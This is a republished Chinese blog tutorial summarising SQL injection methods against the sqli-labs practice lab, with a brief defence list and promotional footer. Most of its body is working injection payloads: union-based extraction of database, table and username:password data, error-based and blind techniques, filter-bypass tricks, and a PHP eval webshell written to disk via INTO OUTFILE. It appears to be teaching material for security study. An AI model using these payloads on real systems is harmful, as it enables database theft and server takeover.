【渗透测试基础】|-SQL注入思路总结

admin 2022年4月19日01:32:19评论55 views字数 5395阅读17分59秒阅读模式

转载于:http://www.yowell.pw/?p=327

1.SQL注入的业务场景及危害

1.1 什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改成功执行的行为称为SQL注入。

1.2 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格

  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc

  • 未使用框架安全的查询方法

  • 测试借口未删除

  • 未启用防火墙,例如IPTABLES。

  • 未使用其他的安全防护设备,例如:WAF

1.3 SQL注入的业务场景以及危害

包括登陆功能、搜索功能、详情页、商品购买等

危害包括数据库泄漏:数据库中存放的用户的隐私信息的泄漏;

网页篡改:通过操作数据库对特定网页进行篡改;

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库管理员账户被篡改。

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

1.4 Mysql内置函数

【渗透测试基础】|-SQL注入思路总结

【渗透测试基础】|-SQL注入思路总结

【渗透测试基础】|-SQL注入思路总结


【渗透测试基础】|-SQL注入思路总结


mysql 运算符(算术运算符、比较运算符、逻辑运算符)


【渗透测试基础】|-SQL注入思路总结
【渗透测试基础】|-SQL注入思路总结
【渗透测试基础】|-SQL注入思路总结


1.5 SQL注入流程

【渗透测试基础】|-SQL注入思路总结

【渗透测试基础】|-SQL注入思路总结
【渗透测试基础】|-SQL注入思路总结
【渗透测试基础】|-SQL注入思路总结


1.6 SQL注入的分类及注入方法

按照请求方法进行分类:

  • GET型注入

Step1:  猜解列数http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#

Step2: 猜解数据库名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23

Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23

Step5:读数据:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23

  • POST型注入

按照SQL数据类型分类:

  • 整型注入

  • 字符型注入

其他的数据类型:

  • 报错注入


【渗透测试基础】|-SQL注入思路总结


查询当前版本:' union select 1,extractvalue(1,concat(0x7e,(select version())))#

使用“extractvalue”函数查询当前表名:' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#

使用"updatexml"函数查询当前php版本:' union select updatexml(1,concat(0x7e,(select version())),1)#

使用“updatexml”函数查询当前表名:' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#

  • 双注入 Lesson11

查询版本:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#

查询数据库名:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#

  • 时间盲注 Sleep(1)函数

猜测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>0,sleep(2),0)#

也可用ord( )

  • 布尔盲注 Lesson-5


【渗透测试基础】|-SQL注入思路总结


猜测版本:id=1' or (select substr(version(),1,1)='5') #

猜测数据库名:id=1' or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#

猜测表名:id=1' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>1#   可以用burp的intruder进行爆破

  • Cookie注入

和POST、GET注入一样,只是在Cookie中产生注入。

  • User-Agent注入

和POST、GET注入一样,只是在UA中产生注入。可能是其他SQL语句 例如insert、update等。需要进行灵活判断。

  • 二次编码注入

%2527 编码后变成%27 再解码变成' 就绕过了过滤。

  • 二次注入


【渗透测试基础】|-SQL注入思路总结


在sqilab中第24关可以通过二次注入,重置admin密码。

  • DNSlog注入

1.7 SQL注入读写文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串,使用条件:
1.必须有权限读取并且文件必须完全可读
2.欲读取文件必须在服务器上
3.必须制定文件完整的路径
4.欲读取文件必须小雨max_allowed_packet

写文件 union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "/var/www/1.php".

2.0注入绕过

2.1绕过注释符注入#

less-23/index.php?id=1' or (extractvalue(1,concat(0x7e,version()))) or '

2.2绕过and/or字符过滤

http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’

2.3绕过空格过滤

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/ 代替空格

2.4内联注释绕过

此题过滤了空格,select,#。

内联注释: /*!select*/


http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27


2.5宽字节注入

主要原因是经常会出现这个过滤“”,因此可以使用宽字节注入吃掉这个“”。由于这个字符的hex是5c 所以可以用%865c进行绕过。


http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23


2.6 其他类型绕过


【渗透测试基础】|-SQL注入思路总结


SQL注入防御手段

代码层

黑名单

白名单

敏感字符过滤

使用框架安全查询

配置层

开启GPC

使用UTF-8

物理层

WAF

数据库审计

云防护

IPS(入侵检测系统)


整理:hackctf




【Hacking黑白红】,一线渗透攻防实战交流公众号

【渗透测试基础】|-SQL注入思路总结

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球


【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。





【渗透测试基础】|-SQL注入思路总结


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


【渗透测试基础】|-SQL注入思路总结




渗透实战系列


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【渗透测试基础】|-SQL注入思路总结

    

长按-识别-关注

【渗透测试基础】|-SQL注入思路总结

Hacking黑白红

一个专注信息安全技术的学习平台

【渗透测试基础】|-SQL注入思路总结

点分享

【渗透测试基础】|-SQL注入思路总结

点收藏

【渗透测试基础】|-SQL注入思路总结

点点赞

【渗透测试基础】|-SQL注入思路总结

点在看



原文始发于微信公众号(Hacking黑白红):【渗透测试基础】|-SQL注入思路总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日01:32:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试基础】|-SQL注入思路总结http://cn-sec.com/archives/925759.html

发表评论

匿名网友 填写信息